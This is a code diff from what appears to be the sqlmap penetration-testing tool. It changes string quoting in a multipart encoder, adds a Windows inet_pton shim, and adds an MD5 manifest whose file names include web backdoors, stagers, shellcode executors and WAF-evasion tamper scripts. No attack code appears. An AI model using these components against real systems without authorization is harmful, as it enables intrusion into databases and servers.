             file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
-            filename = fd.name.split('/')[-1] if '/' in fd.name else fd.name.split('\\')[-1]
+            filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1]
             try:
-                contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
+                contenttype = mimetypes.guess_type(filename)[0] or "application/octet-stream"
             except:
                 # Reference: http://bugs.python.org/issue9291
-                contenttype = 'application/octet-stream'
-            buf += '--%s\r\n' % boundary
-            buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
-            buf += 'Content-Type: %s\r\n' % contenttype
-            # buf += 'Content-Length: %s\r\n' % file_size
+                contenttype = "application/octet-stream"
+            buf += "--%s\r\n" % boundary
+            buf += "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (key, filename)
+            buf += "Content-Type: %s\r\n" % contenttype
+            # buf += "Content-Length: %s\r\n" % file_size
             fd.seek(0)
 
             buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8")
-            buf += '\r\n%s\r\n' % fd.read()
+            buf += "\r\n%s\r\n" % fd.read()
 
-        buf += '--%s--\r\n\r\n' % boundary
+        buf += "--%s--\r\n\r\n" % boundary
 
         return boundary, buf
 

thirdparty/wininetpton/__init__.py

@@ -0,0 +1,10 @@
+#!/usr/bin/env python
+#
+# Copyright Ryan Vennell
+#
+# This software released into the public domain. Anyone is free to copy,
+# modify, publish, use, compile, sell, or distribute this software,
+# either in source code form or as a compiled binary, for any purpose,
+# commercial or non-commercial, and by any means.
+
+pass

thirdparty/wininetpton/win_inet_pton.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python
+# This software released into the public domain. Anyone is free to copy,
+# modify, publish, use, compile, sell, or distribute this software,
+# either in source code form or as a compiled binary, for any purpose,
+# commercial or non-commercial, and by any means.
+
+import socket
+import ctypes
+import os
+
+
+class sockaddr(ctypes.Structure):
+    _fields_ = [("sa_family", ctypes.c_short),
+                ("__pad1", ctypes.c_ushort),
+                ("ipv4_addr", ctypes.c_byte * 4),
+                ("ipv6_addr", ctypes.c_byte * 16),
+                ("__pad2", ctypes.c_ulong)]
+
+if hasattr(ctypes, 'windll'):
+    WSAStringToAddressA = ctypes.windll.ws2_32.WSAStringToAddressA
+    WSAAddressToStringA = ctypes.windll.ws2_32.WSAAddressToStringA
+else:
+    def not_windows():
+        raise SystemError(
+            "Invalid platform. ctypes.windll must be available."
+        )
+    WSAStringToAddressA = not_windows
+    WSAAddressToStringA = not_windows
+
+
+def inet_pton(address_family, ip_string):
+    addr = sockaddr()
+    addr.sa_family = address_family
+    addr_size = ctypes.c_int(ctypes.sizeof(addr))
+
+    if WSAStringToAddressA(
+            ip_string,
+            address_family,
+            None,
+            ctypes.byref(addr),
+            ctypes.byref(addr_size)
+    ) != 0:
+        raise socket.error(ctypes.FormatError())
+
+    if address_family == socket.AF_INET:
+        return ctypes.string_at(addr.ipv4_addr, 4)
+    if address_family == socket.AF_INET6:
+        return ctypes.string_at(addr.ipv6_addr, 16)
+
+    raise socket.error('unknown address family')
+
+
+def inet_ntop(address_family, packed_ip):
+    addr = sockaddr()
+    addr.sa_family = address_family
+    addr_size = ctypes.c_int(ctypes.sizeof(addr))
+    ip_string = ctypes.create_string_buffer(128)
+    ip_string_size = ctypes.c_int(ctypes.sizeof(ip_string))
+
+    if address_family == socket.AF_INET:
+        if len(packed_ip) != ctypes.sizeof(addr.ipv4_addr):
+            raise socket.error('packed IP wrong length for inet_ntoa')
+        ctypes.memmove(addr.ipv4_addr, packed_ip, 4)
+    elif address_family == socket.AF_INET6:
+        if len(packed_ip) != ctypes.sizeof(addr.ipv6_addr):
+            raise socket.error('packed IP wrong length for inet_ntoa')
+        ctypes.memmove(addr.ipv6_addr, packed_ip, 16)
+    else:
+        raise socket.error('unknown address family')
+
+    if WSAAddressToStringA(
+            ctypes.byref(addr),
+            addr_size,
+            None,
+            ip_string,
+            ctypes.byref(ip_string_size)
+    ) != 0:
+        raise socket.error(ctypes.FormatError())
+
+    return ip_string[:ip_string_size.value - 1]
+
+# Adding our two functions to the socket library
+if os.name == 'nt':
+    socket.inet_pton = inet_pton
+    socket.inet_ntop = inet_ntop

txt/checksum.md5

@@ -0,0 +1,460 @@
+c981335b0035fe8d5667d1c952e641e4  extra/beep/beep.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/beep/__init__.py
+002e2688fe38d03dd6d64a4c2acbee9f  extra/cloak/cloak.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/cloak/__init__.py
+4d986b77ce6f616eb904e0920ae60890  extra/dbgtool/dbgtool.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/dbgtool/__init__.py
+acba8b5dc93db0fe6b2b04ff0138c33c  extra/icmpsh/icmpsh.exe_
+2176d964f2d5ba2d871383d6a1868b8f  extra/icmpsh/icmpsh_m.py
+2d020d2bdcee1170805f48839fdb89df  extra/icmpsh/__init__.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/__init__.py
+2237d0568236c354b0436d2cd9434f97  extra/mssqlsig/update.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/safe2bin/__init__.py
+a54bde99fd05fdb412cba5a8780f3e18  extra/safe2bin/safe2bin.py
+d229479d02d21b29f209143cb0547780  extra/shellcodeexec/linux/shellcodeexec.x32_
+2fe2f94eebc62f7614f0391a8a90104f  extra/shellcodeexec/linux/shellcodeexec.x64_
+c55b400b72acc43e0e59c87dd8bb8d75  extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+b46521e29ea3d813bab5aeb16cac6498  extra/shutils/duplicates.py
+8cd064eea3506e5dd913e03171bc418f  extra/shutils/pylint.py
+a8dd1f5799ed863a80b94c36b5428528  extra/shutils/regressiontest.py
+cc9c82cfffd8ee9b25ba3af6284f057e  extra/sqlharvest/__init__.py
+4f2f817596540d82f9fcc0c5b2228beb  extra/sqlharvest/sqlharvest.py
+2daa39e4d59526acb4772b6c47eb315f  lib/controller/action.py
+33299308c821d04c2caf35d4c7a415ff  lib/controller/checks.py
+35029bd013e74ca45749aa57e585aac9  lib/controller/controller.py
+ec007a1424da78cfdae90da6ae49ed9b  lib/controller/handler.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/controller/__init__.py
+04f16204c899438dc7599a9a8426bfee  lib/core/agent.py
+eb0bd28b0bd9fbf67dcc3119116df377  lib/core/bigarray.py
+aef64655185ac789696de9ba73d65ec9  lib/core/common.py
+ab5ef8fe4e4beaef4016d458d0fdefe3  lib/core/convert.py
+e77cca1cb063016f71f6e6bdebf4ec73  lib/core/data.py
+1d042f0bc0557d3fd564ea5a46deb77e  lib/core/datatype.py
+e4ca0fd47f20cf7ba6a5f5cbf980073c  lib/core/decorators.py
+67f206cf2658145992cc1d7020138325  lib/core/defaults.py
+3b2c013b610c5ae3193ced4f19bf1931  lib/core/dicts.py
+1f98d3f57ce21d625fd67adb26cfd13c  lib/core/dump.py
+b218e03ef7426fb0414881b05add1092  lib/core/enums.py
+e4aec2b11c1ad6039d0c3dbbfbc5eb1a  lib/core/exception.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/core/__init__.py
+91c514013daa796e2cdd940389354eac  lib/core/log.py
+86c86d2ee9e0eb74b13c16797b7dfc51  lib/core/optiondict.py
+eb5e96b4baef52ad172e0359c1783d83  lib/core/option.py
+7af487340c138f7b5dbd443161cbb428  lib/core/profiling.py
+e60456db5380840a586654344003d4e6  lib/core/readlineng.py
+b3a62d41a5af6cd7fa733b6227febb0c  lib/core/replication.py
+99a2b496b9d5b546b335653ca801153f  lib/core/revision.py
+7c15dd2777af4dac2c89cab6df17462e  lib/core/session.py
+079c062fb2fa5b45e2dbbf25323bc48a  lib/core/settings.py
+7af83e4f18cab6dff5e67840eb65be80  lib/core/shell.py
+23657cd7d924e3c6d225719865855827  lib/core/subprocessng.py
+c3ace7874a536d801f308cf1fd03df99  lib/core/target.py
+d43f059747ffd48952922c94152e2a07  lib/core/testing.py
+95997f8d0b23fed9289b04b85d0e9b64  lib/core/threads.py
+53c15b78e0288274f52410db25406432  lib/core/unescaper.py
+60100cb265ae8bb903b760c7b7a3a7f3  lib/core/update.py
+8485a3cd94c0a5af2718bad60c5f1ae5  lib/core/wordlist.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/__init__.py
+c1288bc4ce5651dbdd82d4a9435fdc03  lib/parse/banner.py
+ba4c9a57e87f54c647ca29a14fa82f9c  lib/parse/cmdline.py
+8ec4d4f02634834701f8258726f2e511  lib/parse/configfile.py
+fe4e2152292587928edb94c9a4d311ff  lib/parse/handler.py
+8e6bfb13e5a34b2610f3ff23467a34cf  lib/parse/headers.py
+cfa7b4c52915e1d7d59409ed49f0e623  lib/parse/html.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/parse/__init__.py
+af6b8e1c6eb074b56bbd9cd80aebcd97  lib/parse/payloads.py
+b40a4c5d91770d347df36d3065b63798  lib/parse/sitemap.py
+9299f21804033f099681525bb9bf51c0  lib/request/basicauthhandler.py
+083e7f446909b12009e72ae8e5e5737c  lib/request/basic.py
+c48285682a61d49982cb508351013cb4  lib/request/comparison.py
+9bff6fe291805380c6a74d0cda6684a5  lib/request/connect.py
+d4d52c1073c75a6eecd2ebb98b670b96  lib/request/direct.py
+4ae7f4570fb859045f0487cc0b055a8e  lib/request/dns.py
+58f63132eb56ad41ae6af4fe61933a2d  lib/request/httpshandler.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/request/__init__.py
+62aff2a7bdd43f6e4d33385f57ec3e4c  lib/request/inject.py
+3fc323d525beddd14cd4d4dca4934fa8  lib/request/methodrequest.py
+585a6705cfac79f795b835affb80c901  lib/request/pkihandler.py
+b2ffd261947994f4a4af555d468b4970  lib/request/rangehandler.py
+30eda640dc427585c3dbf4762a30bd38  lib/request/redirecthandler.py
+4d838b086f128a94a91aa293ca1e0719  lib/request/templates.py
+937b7e276f25ccac5a2ac0bf9b1ef434  lib/takeover/abstraction.py
+3ecf028d8d93025d2a12c6f6fc13adb2  lib/takeover/icmpsh.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/takeover/__init__.py
+2d39688ec1b871005b520b6f1ed97ba6  lib/takeover/metasploit.py
+7083825564c051a7265cfdd1a5e6629c  lib/takeover/registry.py
+7d6cd7bdfc8f4bc4e8aed60c84cdf87f  lib/takeover/udf.py
+d9bdcc17091374c53ad2eea7fd72a909  lib/takeover/web.py
+9af83a62de360184f1c14e69b8a95cfe  lib/takeover/xp_cmdshell.py
+0ad6fbd71649f736083c00e58de750b9  lib/techniques/blind/inference.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/blind/__init__.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/brute/__init__.py
+d36effffe64e63ef9b3be490f850e2cc  lib/techniques/brute/use.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/dns/__init__.py
+99484ca6f1c12dac031e6a0ebef33ef1  lib/techniques/dns/test.py
+77b414d35fd13c8ba6aa171d5d420dc9  lib/techniques/dns/use.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/error/__init__.py
+4a1fb475f4a193e2cac48c8c038f5677  lib/techniques/error/use.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/__init__.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/techniques/union/__init__.py
+f5d6884cdeed28281187c111d3e49e3b  lib/techniques/union/test.py
+12ce1bb7ee5f1f23f58be12fe9fa8472  lib/techniques/union/use.py
+26c1babc6289fac9056f8b21d10f3bb1  lib/utils/api.py
+8cdc8c1e663c3b92a756fb7b02cc3c02  lib/utils/crawler.py
+84604ae4cf0f31602b412036b51f5dae  lib/utils/deps.py
+4dfd3a95e73e806f62372d63bc82511f  lib/utils/getch.py
+f71a7b0aec145ba77edd3c4543621fb9  lib/utils/hashdb.py
+0330607242d4f704ae6d7bba5f52ccae  lib/utils/hash.py
+a3e885f7d4c6ff05db1156244bb84158  lib/utils/htmlentities.py
+cc9c82cfffd8ee9b25ba3af6284f057e  lib/utils/__init__.py
+f0bd8f810332027a5c2c60bd17455f90  lib/utils/pivotdumptable.py
+da08a0b58c08ff452c7d1da4857d6680  lib/utils/progress.py
+4c8895fb543aa5ae81f2d066422613f0  lib/utils/purge.py
+cc9b0f68dd58a2576a5a454b7f5f6b9c  lib/utils/search.py
+4a0374ac0bc9d726446f04c77fbb5697  lib/utils/sqlalchemy.py
+93dc08ba9f732d378f02cf85eae89df2  lib/utils/timeout.py
+e6fa0e76367a77015da113811dfd9712  lib/utils/versioncheck.py
+adafdb28095ba2d03322fee2aae4548f  lib/utils/xrange.py
+988100b4a1cd3b07acfd8b6ec692aed5  plugins/dbms/access/connector.py
+27a5ae5611836b073dd53b21435f0979  plugins/dbms/access/enumeration.py
+438090ab8ca63d9c23831a5ffbef74d9  plugins/dbms/access/filesystem.py
+ec6e8a706c3e281677de4a21f0b68d6e  plugins/dbms/access/fingerprint.py
+7e54993a1a8340425eb9e6d1396596de  plugins/dbms/access/__init__.py
+994fc6a93632219d76831aad415742de  plugins/dbms/access/syntax.py
+495e835bea7703ae343179e3df838b86  plugins/dbms/access/takeover.py
+393da1c45d0b1ecf67bfa5ae9a490f3f  plugins/dbms/db2/connector.py
+90271f2422c4374edfb7936151a440a4  plugins/dbms/db2/enumeration.py
+e8f0f28da98020dce27970a50e10a23b  plugins/dbms/db2/filesystem.py
+b95216204096179fd50004c489ba5c6e  plugins/dbms/db2/fingerprint.py
+49b62689e8f0d2da9e10d782b53a3d13  plugins/dbms/db2/__init__.py
+8300ca02ecf00d3b00d78ecde8a86c09  plugins/dbms/db2/syntax.py
+5f130772d2295ae61140acba894eaceb  plugins/dbms/db2/takeover.py
+42fc25e6a5363d2447ed1e2a81d77159  plugins/dbms/firebird/connector.py
+22cadcf4f20aeea2f2abead6553ed460  plugins/dbms/firebird/enumeration.py
+9e12a966e280951deb996a8a634eb9e2  plugins/dbms/firebird/filesystem.py
+74f0a234bcb11cac697751ef9488579b  plugins/dbms/firebird/fingerprint.py
+0f9bf6cf9dad52336ad1c528bdb4d142  plugins/dbms/firebird/__init__.py
+d16de4d9516f95956d4518e9412de77a  plugins/dbms/firebird/syntax.py
+80496d64b22c10ed4893b4149a162365  plugins/dbms/firebird/takeover.py
+e125fb5d8d75861532a01828d829d85e  plugins/dbms/hsqldb/connector.py
+8fbc4653d0c880ca78278c8ae6823136  plugins/dbms/hsqldb/enumeration.py
+b763ce42f66f7b81d05130bbd3e383a9  plugins/dbms/hsqldb/filesystem.py
+c9d59b7c60aa0f0b23f920f932547e40  plugins/dbms/hsqldb/fingerprint.py
+d278ad5f1c13fea871ed1120942244d5  plugins/dbms/hsqldb/__init__.py
+d781720e15c23b662bae3098ed470756  plugins/dbms/hsqldb/syntax.py
+2f957281cfe80396f73a3dccc0cb6d45  plugins/dbms/hsqldb/takeover.py
+78917f19ea0750a665094d7dd7778d0c  plugins/dbms/informix/connector.py
+d251aecff7544f79f78385386bb7fa35  plugins/dbms/informix/enumeration.py
+e8f0f28da98020dce27970a50e10a23b  plugins/dbms/informix/filesystem.py
+89540595a6011b47629c68d11a5e4533  plugins/dbms/informix/fingerprint.py
+99a77ad7aa7ca4a4b5981f2fa0d9c616  plugins/dbms/informix/__init__.py
+e96b4721cfc65271a2de948c47474aaa  plugins/dbms/informix/syntax.py
+5f130772d2295ae61140acba894eaceb  plugins/dbms/informix/takeover.py
+cc9c82cfffd8ee9b25ba3af6284f057e  plugins/dbms/__init__.py
+4c8667e8af763ddf82ee314c6681d4e1  plugins/dbms/maxdb/connector.py
+075fd66b8bbabed18aeb304c6c0ef2a2  plugins/dbms/maxdb/enumeration.py
+aa46f115a06c66b1e011aba98ec284bd  plugins/dbms/maxdb/filesystem.py
+535b389c7bac381c06ca34b0fe48c8ae  plugins/dbms/maxdb/fingerprint.py
+c24f2512f13dbaff9543fe6d96cbe53b  plugins/dbms/maxdb/__init__.py
+df0766e0f322505dcbfca2fc792fe62f  plugins/dbms/maxdb/syntax.py
+aeec4f12950e20c46da405d23ea08dbb  plugins/dbms/maxdb/takeover.py
+579d582f3716c310689b4aa7317b57df  plugins/dbms/mssqlserver/connector.py
+7003c3c82ca56b40c7c90aea6c20cd53  plugins/dbms/mssqlserver/enumeration.py
+6c249bcdef486803686a8b2f11566637  plugins/dbms/mssqlserver/filesystem.py
+d01229e7161a5071934fc26b48a11e8c  plugins/dbms/mssqlserver/fingerprint.py
+2fbe5e485bcd05511cd1d7cb8cbdbde4  plugins/dbms/mssqlserver/__init__.py
+a727b3cac910622d22b2ed92815716ef  plugins/dbms/mssqlserver/syntax.py
+f3da9f5298dac5d1f468828c07c81f70  plugins/dbms/mssqlserver/takeover.py
+c44c561dd9df1dc844a81be500ea02e7  plugins/dbms/mysql/connector.py
+d251aecff7544f79f78385386bb7fa35  plugins/dbms/mysql/enumeration.py
+a970f90c91ebd3a7e22955424fe5414e  plugins/dbms/mysql/filesystem.py
+edc62bbf269d053ccc68b4cdfebdf12b  plugins/dbms/mysql/fingerprint.py
+a4535cb3873ada344e6e61dbe1a546d3  plugins/dbms/mysql/__init__.py
+4ad721acc40a964fc67154dd4683870e  plugins/dbms/mysql/syntax.py
+aa88b5d6198cd31d9ab2be664da9a265  plugins/dbms/mysql/takeover.py
+2f2b7b1f08a8e6bfbe2fd0467d477667  plugins/dbms/oracle/connector.py
+061b5f0a2cf2e61c8a03ef73ee43a869  plugins/dbms/oracle/enumeration.py
+97579ede42f5fa64397792a65d6c0781  plugins/dbms/oracle/filesystem.py
+82b3e501ebae93c5dc0ef2abccb10177  plugins/dbms/oracle/fingerprint.py
+ecfc3b8b1e97e41cad6681fc68f93998  plugins/dbms/oracle/__init__.py
+1814ceabb19b6fcf908d4638cf0436ef  plugins/dbms/oracle/syntax.py
+cac6bd84d44ac929da6800719279875b  plugins/dbms/oracle/takeover.py
+6c54ca5c9efad3e437467f9fe44435d6  plugins/dbms/postgresql/connector.py
+419dd50e6688fef760fec4f71430fb29  plugins/dbms/postgresql/enumeration.py
+9756fc02fc84719c3e330fcc7914bf17  plugins/dbms/postgresql/filesystem.py
+5bd67a898b9671c78b00b9299674e6d7  plugins/dbms/postgresql/fingerprint.py
+0e7d17abf68f1dd770e969c84878d246  plugins/dbms/postgresql/__init__.py
+8711e7c1265a5e651c9aadca7db40cd5  plugins/dbms/postgresql/syntax.py
+50d8070e687e5806058a121311a36385  plugins/dbms/postgresql/takeover.py
+316c39c5c866c5e6b0afaf51fc773ca3  plugins/dbms/sqlite/connector.py
+1cbe2b28041e52b421f256b813e0ec9d  plugins/dbms/sqlite/enumeration.py
+f3318e79b1130e052242db8299eb1968  plugins/dbms/sqlite/filesystem.py
+17752c107b24f5a83926f8c62a50f15a  plugins/dbms/sqlite/fingerprint.py
+098c50a83ceca04e3acc67a7c66fb0d2  plugins/dbms/sqlite/__init__.py
+a27325e2c88a0d38fe871509329cc9d5  plugins/dbms/sqlite/syntax.py
+53b0be0cb6599d042bf6772e62b25ca5  plugins/dbms/sqlite/takeover.py
+579d582f3716c310689b4aa7317b57df  plugins/dbms/sybase/connector.py
+7d58cbb4527d7a48ca05037f0b2ffe0a  plugins/dbms/sybase/enumeration.py
+ca107f3d1b4854ce84386109d476d494  plugins/dbms/sybase/filesystem.py
+e095022426f2b986d069748ee2289af1  plugins/dbms/sybase/fingerprint.py
+d0c7cc8ec2aa716b2e5cd3b5ab805c3a  plugins/dbms/sybase/__init__.py
+4763a90266c1633054ad7f3f0926a71d  plugins/dbms/sybase/syntax.py
+7a1c6cb238b5b464e1e9641469e6e503  plugins/dbms/sybase/takeover.py
+62faa58e5aace4b6a6d562788685186f  plugins/generic/connector.py
+cdbf6eec4a94f830deb7dbab1c1a2935  plugins/generic/custom.py
+f27f76bfd2ed9ce384dcd43fb7e10226  plugins/generic/databases.py
+1177bbad4e77a2ca85e0054569e03d38  plugins/generic/entries.py
+e335b868f5fb1154c9f72143d602915d  plugins/generic/enumeration.py
+3e673ef4e6592f52a11d88e61fe4dc2b  plugins/generic/filesystem.py
+5637c508ca6348f29c2b100a3e80dddc  plugins/generic/fingerprint.py
+cc9c82cfffd8ee9b25ba3af6284f057e  plugins/generic/__init__.py
+7ffeee6d232ff6b342f362a2a4d226c0  plugins/generic/misc.py
+27d700d0c4414400ac2cf68bbbed3408  plugins/generic/search.py
+73f8d047dbbcff307d62357836e382e6  plugins/generic/syntax.py
+da3ebc20998af02e3d952d0417a67792  plugins/generic/takeover.py
+d35f994664fb7a7fcee656633dfb31ed  plugins/generic/users.py
+cc9c82cfffd8ee9b25ba3af6284f057e  plugins/__init__.py
+b04db3e861edde1f9dd0a3850d5b96c8  shell/backdoor.asp_
+158bfa168128393dde8d6ed11fe9a1b8  shell/backdoor.aspx_
+1add5a9a67539e7fd1999c8c20a69d15  shell/backdoor.jsp_
+09fc3ed6543f4d1885e338b271e5e97a  shell/backdoor.php_
+ff90cb0366f7cefbdd6e573e27e6238c  shell/runcmd.exe_
+0e7aba05423c272f051f31165b0e416d  shell/stager.asp_
+c3cc8b7727161e64ab59f312c33b541a  shell/stager.aspx_
+1f7f125f30e0e800beb21e2ebbab18e1  shell/stager.jsp_
+01e3505e796edf19aad6a996101c81c9  shell/stager.php_
+c3ee3d5e5eab01436d4d5e1dab0f32db  sqlmapapi.py
+c6c088ca8df6e60c63ef64767472bbcb  sqlmap.py
+1316deb997418507e76221c84ec99946  tamper/apostrophemask.py
+a6efe8f914c769c52afec703bd73609f  tamper/apostrophenullencode.py
+b1c56983919b69f4f6f0e7929c881e7a  tamper/appendnullbyte.py
+1233f8bad4d9a33d7961073c449874a2  tamper/base64encode.py
+6aa5ba5689d9689825338260194670e0  tamper/between.py
+21f4ce75916531641cfe405ce91663fc  tamper/bluecoat.py
+43cfacec17de26ff2a61c519e2e86dc9  tamper/chardoubleencode.py
+344751c277ca62fa42dac95deedb0cdf  tamper/charencode.py
+c6c90b5c175770ff98859653115dc478  tamper/charunicodeencode.py
+b7f5de532d2b87a477840c7d2a3cf386  tamper/commalesslimit.py
+e2aca0ea57afc24dd154472034dc9c8c  tamper/commalessmid.py
+7dec60fa5a1f27513cfba131e07b4d2f  tamper/concat2concatws.py
+906f38bffac305d341e69721631c9b1e  tamper/equaltolike.py
+11bb0652668bb6624494567fd92933b3  tamper/escapequotes.py
+731c25dd33fca28514930d4409daaaa3  tamper/greatest.py
+1becabc90d81c70fd24b54cae03a3702  tamper/halfversionedmorekeywords.py
+61add9dce3c0c9035901db87fa969c89  tamper/htmlencode.py
+17313c5a68aa44325616e0e38869b98e  tamper/ifnull2ifisnull.py
+dd71bbc7f76ef55a2c9c16645347ead8  tamper/informationschemacomment.py
+cc9c82cfffd8ee9b25ba3af6284f057e  tamper/__init__.py
+4f022b7dbe12957003ee06e2610baa85  tamper/lowercase.py
+38543c4fc77acbd346cdbdbdfebee799  tamper/modsecurityversioned.py
+c16c3ed0ce302034d99ee0b8f34fbd0b  tamper/modsecurityzeroversioned.py
+658742d52fe9fcd357c87198650982b8  tamper/multiplespaces.py
+e65ff0680df2fc89444ec5953bb2f161  tamper/nonrecursivereplacement.py
+6780d738236ac200d230c4cb497bd1a2  tamper/overlongutf8.py
+3f05d5218b22280adcd91fe53830bcb4  tamper/percentage.py
+9741ad2359382dc8673189224995a5f7  tamper/plus2concat.py
+7a93f510f231278897650da1c7d13b23  tamper/randomcase.py
+34c255f3bca6d5fee2dfb18ed86d406f  tamper/randomcomments.py
+f5e9eb84d4c5e9a19fe7154a8aebe13d  tamper/securesphere.py
+b4fc315dd6956dbe62a14c3efbe734b8  tamper/space2comment.py
+c58858bebc9128a2685e93c985c8c23e  tamper/space2dash.py
+7cb376474d8d2dfa524be8f09d5bbf87  tamper/space2hash.py
+ac2674939af0d1e82802d9343856db08  tamper/space2morehash.py
+7f26c6fca4ef394c8d84c1ffe0162834  tamper/space2mssqlblank.py
+df92b78d4ebe3de3e922eae1520020bf  tamper/space2mssqlhash.py
+63dcc179881387c6a2ca4b84b4723efe  tamper/space2mysqlblank.py
+6c9a0f9f98b938b0dc814644eeeb4d69  tamper/space2mysqldash.py
+898361e5bc84fee788005a31494c1b8d  tamper/space2plus.py
+ea567cf81dafcb961eb1e88396534fd5  tamper/space2randomblank.py
+da09cdc03e7d306e68a0c45322cc14c2  tamper/sp_password.py
+84d536cd1296affcf4d294846508ef1a  tamper/symboliclogical.py
+50ead20b50db1051f8f3790c910b7b36  tamper/unionalltounion.py
+f248289f5bc6ff9df8d82f8a3649d7a2  tamper/unmagicquotes.py
+05824e0a1eb695bfc61d83ca8578de8f  tamper/uppercase.py
+ccdcf7afb18efd83d8b7a59d744fe51f  tamper/varnish.py
+a5f02f75856551499c0bf33672869a7f  tamper/versionedkeywords.py
+61aec82c2fb383bf9db95b74f5f0e67a  tamper/versionedmorekeywords.py
+99a90d668f367f5660698c00e84ec671  tamper/xforwardedfor.py
+368165b45dadcdff4422bc010700832a  thirdparty/ansistrm/ansistrm.py
+d41d8cd98f00b204e9800998ecf8427e  thirdparty/ansistrm/__init__.py
+8e775c25bc9e84891ad6fcb4f0005c23  thirdparty/beautifulsoup/beautifulsoup.py
+cb2e1fe7c404dff41a2ae9132828f532  thirdparty/beautifulsoup/__init__.py
+ff54a1d98f0ab01ba7b58b068d2ebd26  thirdparty/bottle/bottle.py
+4528e6a7bb9341c36c425faf40ef32c3  thirdparty/bottle/__init__.py
+b20f539dc45fa9e514c1eb4f5aa8b5c6  thirdparty/chardet/big5freq.py
+44159687c2bae35f165b44f07f5f167a  thirdparty/chardet/big5prober.py
+c80b09e2a63b375c02c8c1e825a953c5  thirdparty/chardet/chardetect.py
+d2c4ad8cc905d95f148ead169d249eb8  thirdparty/chardet/chardistribution.py
+24c57085435b8ad1a7bf9ff4ffe6cce0  thirdparty/chardet/charsetgroupprober.py
+0cb6549c5cf979c8023f8aaf3392a117  thirdparty/chardet/charsetprober.py
+241dd3b7d3eb97ae384320fc8346c6ff  thirdparty/chardet/codingstatemachine.py
+73f2b9ae331ab011571a3b3a2c62acc1  thirdparty/chardet/compat.py
+6cccf2eada7dfa841a5c39aaecb037e7  thirdparty/chardet/constants.py
+dd0087e46f835b791a5c9904fcda2de3  thirdparty/chardet/cp949prober.py
+ecf56c6473c5a9bc0540a1ca11ec998a  thirdparty/chardet/escprober.py
+00590b3c94c4db8f25639ab261e4c725  thirdparty/chardet/escsm.py
+99bc93e45136ecd15d8dfb489059f118  thirdparty/chardet/eucjpprober.py
+65b6b3e75845e033ce34c11ccdd85450  thirdparty/chardet/euckrfreq.py
+cc2282aef66a161b3451f9cf455fdd7d  thirdparty/chardet/euckrprober.py
+f13fee8c7bd6db0e8c40030ccacdfbde  thirdparty/chardet/euctwfreq.py
+ca66f5277872165faa5140068794604a  thirdparty/chardet/euctwprober.py
+0fb5414fcc0bdb8b04af324015505c06  thirdparty/chardet/gb2312freq.py
+84284584b8e29f50f40781205a9d4e76  thirdparty/chardet/gb2312prober.py
+354a83d1bb3c20b4626b6c4ad54d163a  thirdparty/chardet/hebrewprober.py
+d91ddc14e31824faacd96fa88e42a6b8  thirdparty/chardet/__init__.py
+03be91b7ead4725af61234d4852bb7ab  thirdparty/chardet/jisfreq.py
+b59a7b8b0debe197444bf831ba42bbe9  thirdparty/chardet/jpcntx.py
+e4e05437410aa80cf9a13afac19997fe  thirdparty/chardet/langbulgarianmodel.py
+74ce958cbef2eee08a7a04fb4db41260  thirdparty/chardet/langcyrillicmodel.py
+7090da7635347b767b4eb194f697207d  thirdparty/chardet/langgreekmodel.py
+22df1e2996355e4c082cc0b2f8dbe261  thirdparty/chardet/langhebrewmodel.py
+3b86d62fe73022a609b2e8095edecf87  thirdparty/chardet/langhungarianmodel.py
+4f941425be84ee4e1b7ccb7c4b31e8d8  thirdparty/chardet/langthaimodel.py
+9e7400a368b70c1acccab78d2cc489cd  thirdparty/chardet/latin1prober.py
+c27857a02a65a1100f3195f95c50aff9  thirdparty/chardet/mbcharsetprober.py
+719ecf479d507a3e6450aefbaa42fcc8  thirdparty/chardet/mbcsgroupprober.py
+2fd9f3c93568c552779bd46990027c36  thirdparty/chardet/mbcssm.py
+93349a5fa5cb824d1485cd5f3a53928a  thirdparty/chardet/sbcharsetprober.py
+ee25f2a03587e2c283eab0b36c9e5783  thirdparty/chardet/sbcsgroupprober.py
+c9349824f2647962175d321cc0c52134  thirdparty/chardet/sjisprober.py
+bcae4c645a737d3f0e7c96a66528ca4a  thirdparty/chardet/universaldetector.py
+6f8b3e25472c02fb45a75215a175991f  thirdparty/chardet/utf8prober.py
+658da0466b798cc70f48f35fe49b7813  thirdparty/clientform/clientform.py
+722281d87fb13ec22555480f8f4c715b  thirdparty/clientform/__init__.py
+0b625ccefa6b066f79d3cbb3639267e6  thirdparty/colorama/ansi.py
+e52252bb81ce1a14b7245b53af33e75f  thirdparty/colorama/ansitowin32.py
+ed4d76c08741d34ac79f6488663345f7  thirdparty/colorama/initialise.py
+c0707ca77ccb4a2c0f12b4085057193c  thirdparty/colorama/__init__.py
+ad3d022d4591aee80f7391248d722413  thirdparty/colorama/win32.py
+c690e140157d0caac5824c73688231b3  thirdparty/colorama/winterm.py
+be7eac2e6cfb45c5e297ec5eee66e747  thirdparty/fcrypt/fcrypt.py
+e00542d22ffa8d8ac894c210f38454be  thirdparty/fcrypt/__init__.py
+2f94ddd6ada38e4091e819568e7c4b7c  thirdparty/gprof2dot/gprof2dot.py
+855372c870a23d46683f8aa39d75f6a1  thirdparty/gprof2dot/__init__.py
